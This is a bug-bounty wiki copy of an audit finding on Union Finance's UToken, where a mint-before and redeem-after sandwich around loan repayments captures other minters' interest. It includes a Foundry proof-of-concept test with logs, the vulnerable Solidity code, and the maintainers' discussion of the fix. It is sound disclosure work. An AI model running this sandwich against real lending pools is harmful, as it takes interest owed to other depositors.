Skip to content
Race condition Audit finding Intermediate

The `exchangeRateStored()` function allows front-running on repayments

The exchange rate used for minting and redeeming UTokens increases when a borrower repays, because the repayment adds to the total redeemable amount. An attacker can front-run a repayment by minting UTokens just before it and redeeming them just after, capturing a share of the interest that should belong to existing minters.

ozoooneth Follow

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2023-02-union-judging/issues/8

Found by

ozoooneth

Summary

The exchangeRateStored() function allows to perform front-running attacks when a repayment is being executed.

Vulnerability Detail

Since _repayBorrowFresh() increases totalRedeemable value which affects in the final exchange rate calculation used in functions such as mint() and redeem(), an attacker could perform a front-run to any repayment by minting UTokens beforehand, and redeem these tokens after the front-run repayment. In this situation, the attacker would always be obtaining profits since totalRedeemable value is increased after every repayment.

Proof of Concept

Solidity
    function increaseTotalSupply(uint256 _amount) private {
        daiMock.mint(address(this), _amount);
        daiMock.approve(address(uToken), _amount);
        uToken.mint(_amount);
    }

    function testMintRedeemSandwich() public {
        increaseTotalSupply(50 ether);

        vm.prank(ALICE);
        uToken.borrow(ALICE, 50 ether);
        uint256 borrowed = uToken.borrowBalanceView(ALICE);

        vm.roll(block.number + 500);

        vm.startPrank(BOB);
        daiMock.approve(address(uToken), 100 ether);
        uToken.mint(100 ether);

        console.log("\n  [UToken] Total supply:", uToken.totalSupply());
        console.log("[UToken] BOB balance:", uToken.balanceOf(BOB));
        console.log("[DAI]    BOB balance:", daiMock.balanceOf(BOB));

        uint256 currExchangeRate = uToken.exchangeRateStored();
        console.log("[1] Exchange rate:", currExchangeRate);
        vm.stopPrank();

        vm.startPrank(ALICE);
        uint256 interest = uToken.calculatingInterest(ALICE);
        uint256 repayAmount = borrowed + interest;

        daiMock.approve(address(uToken), repayAmount);
        uToken.repayBorrow(ALICE, repayAmount);

        console.log("\n  [UToken] Total supply:", uToken.totalSupply());
        console.log("[UToken] ALICE balance:", uToken.balanceOf(ALICE));
        console.log("[DAI]    ALICE balance:", daiMock.balanceOf(ALICE));

        currExchangeRate = uToken.exchangeRateStored();
        console.log("[2] Exchange rate:", currExchangeRate);
        vm.stopPrank();

        vm.startPrank(BOB);
        uToken.redeem(uToken.balanceOf(BOB), 0);

        console.log("\n  [UToken] Total supply:", uToken.totalSupply());
        console.log("[UToken] BOB balance:", uToken.balanceOf(BOB));
        console.log("[DAI]    BOB balance:", daiMock.balanceOf(BOB));

        currExchangeRate = uToken.exchangeRateStored();
        console.log("[3] Exchange rate:", currExchangeRate);
    }

Result

Bash
[PASS] testMintRedeemSandwich() (gas: 560119)
Logs:

  [UToken] Total supply: 150000000000000000000
  [UToken] BOB balance: 100000000000000000000
  [DAI]    BOB balance: 0
  [1] Exchange rate: 1000000000000000000

  [UToken] Total supply: 150000000000000000000
  [UToken] ALICE balance: 0
  [DAI]    ALICE balance: 99474750000000000000
  [2] Exchange rate: 1000084166666666666

  [UToken] Total supply: 50000000000000000000
  [UToken] BOB balance: 0
  [DAI]    BOB balance: 100008416666666666600
  [3] Exchange rate: 1000084166666666668

Impact

An attacker could always get profits from front-running repayments by taking advantage of exchangeRateStored() calculation before a repayment is made.

Code Snippet

exchangeRateStored()

Solidity
function exchangeRateStored() public view returns (uint256) {
    uint256 totalSupply_ = totalSupply();
    return totalSupply_ == 0 ? initialExchangeRateMantissa : (totalRedeemable * WAD) / totalSupply_;
}

_repayBorrowFresh()

Solidity
function _repayBorrowFresh(address payer, address borrower, uint256 amount, uint256 interest) internal {
    if (getBlockNumber() != accrualBlockNumber) revert AccrueBlockParity();
    uint256 borrowedAmount = borrowBalanceStoredInternal(borrower);
    uint256 repayAmount = amount > borrowedAmount ? borrowedAmount : amount;
    if (repayAmount == 0) revert AmountZero();

    uint256 toReserveAmount;
    uint256 toRedeemableAmount;

    if (repayAmount >= interest) {
        // If the repayment amount is greater than the interest (min payment)
        bool isOverdue = checkIsOverdue(borrower);

        // Interest is split between the reserves and the uToken minters based on
        // the reserveFactorMantissa When set to WAD all the interest is paid to teh reserves.
        // any interest that isn't sent to the reserves is added to the redeemable amount
        // and can be redeemed by uToken minters.
        toReserveAmount = (interest * reserveFactorMantissa) / WAD;
        toRedeemableAmount = interest - toReserveAmount;

        // Update the total borrows to reduce by the amount of principal that has
        // been paid off
        totalBorrows -= (repayAmount - interest);

        // Update the account borrows to reflect the repayment
        accountBorrows[borrower].principal = borrowedAmount - repayAmount;
        accountBorrows[borrower].interest = 0;

        // Call update locked on the userManager to lock this borrowers stakers. This function
        // will revert if the account does not have enough vouchers to cover the repay amount. ie
        // the borrower is trying to repay more than is locked (owed)
        IUserManager(userManager).updateLocked(borrower, (repayAmount - interest).toUint96(), false);

        if (isOverdue) {
            // For borrowers that are paying back overdue balances we need to update their
            // frozen balance and the global total frozen balance on the UserManager
            IUserManager(userManager).onRepayBorrow(borrower);
        }

        if (getBorrowed(borrower) == 0) {
            // If the principal is now 0 we can reset the last repaid block to 0.
            // which indicates that the borrower has no outstanding loans.
            accountBorrows[borrower].lastRepay = 0;
        } else {
            // Save the current block number as last repaid
            accountBorrows[borrower].lastRepay = getBlockNumber();
        }
    } else {
        // For repayments that don't pay off the minimum we just need to adjust the
        // global balances and reduce the amount of interest accrued for the borrower
        toReserveAmount = (repayAmount * reserveFactorMantissa) / WAD;
        toRedeemableAmount = repayAmount - toReserveAmount;
        accountBorrows[borrower].interest = interest - repayAmount;
    }

    totalReserves += toReserveAmount;
    totalRedeemable += toRedeemableAmount;

    accountBorrows[borrower].interestIndex = borrowIndex;

    // Transfer underlying token that have been repaid and then deposit
    // then in the asset manager so they can be distributed between the
    // underlying money markets
    IERC20Upgradeable(underlying).safeTransferFrom(payer, address(this), repayAmount);
    _depositToAssetManager(repayAmount);

    emit LogRepay(payer, borrower, repayAmount);
}

Usage in mint() function

Usage in redeem() function

Tool used

Manual Review

Recommendation

An approach could be implementing TWAP in order to make front-running unprofitable in this situation.

Discussion

kingjacob

Udai minters dont earn interest because reserve factor is always set to 100% and on any UnionDAO network udai minters should not expect a yield. But this is a valid exploit if someone set reserve factor to a high amount.

the solution isnt twap or anything duration based because you cant allocate unsecured interest before its paid. On a short time horizon this leads to some minters getting more than those whove been in the pool longer, But over a long enough horizon it averages out. So the solution is an exit fee paid to reservefactor to make 1-3 block deposits and anything flashloan enabled unprofitable.

kingjacob

https://github.com/unioncredit/union-v2-contracts/pull/117

dmitriia

Looks ok

The original report as published on Sherlock, by ozoooneth. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the exchange rate is calculated from the current total redeemable amount, which jumps when a repayment occurs, so anyone can mint just before the jump and redeem just after to capture a share of the interest.

Impact

An attacker could always profit from front-running repayments, but the project noted that on the main network the reserve factor is set to 100% so minters do not earn interest, making the exploit only valid if the reserve factor is set to a high amount.

What the attacker needed

Ability to front-run a repayment transaction; reserve factor set to a high amount (not 100%)

The fix

The project suggested an exit fee paid to the reserve factor to make short-term deposits and flashloan-enabled attacks unprofitable, and a pull request was opened to implement this.

How it was found

  1. Attacker mints UTokens before a repayment occurs.
  2. A borrower repays their loan, which increases the total redeemable amount and thus the exchange rate.
  3. Attacker redeems their UTokens after the repayment, receiving more underlying tokens than they deposited.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When someone repays a loan, the extra interest they pay is added to a pool that is shared among everyone who has deposited money into that pool. The value of each deposit (the exchange rate) goes up slightly at that moment. An attacker can watch for a repayment, quickly add their own deposit just before it happens, and then withdraw right after, taking a slice of that interest without having contributed to the pool for long.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More from Union Finance Update

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.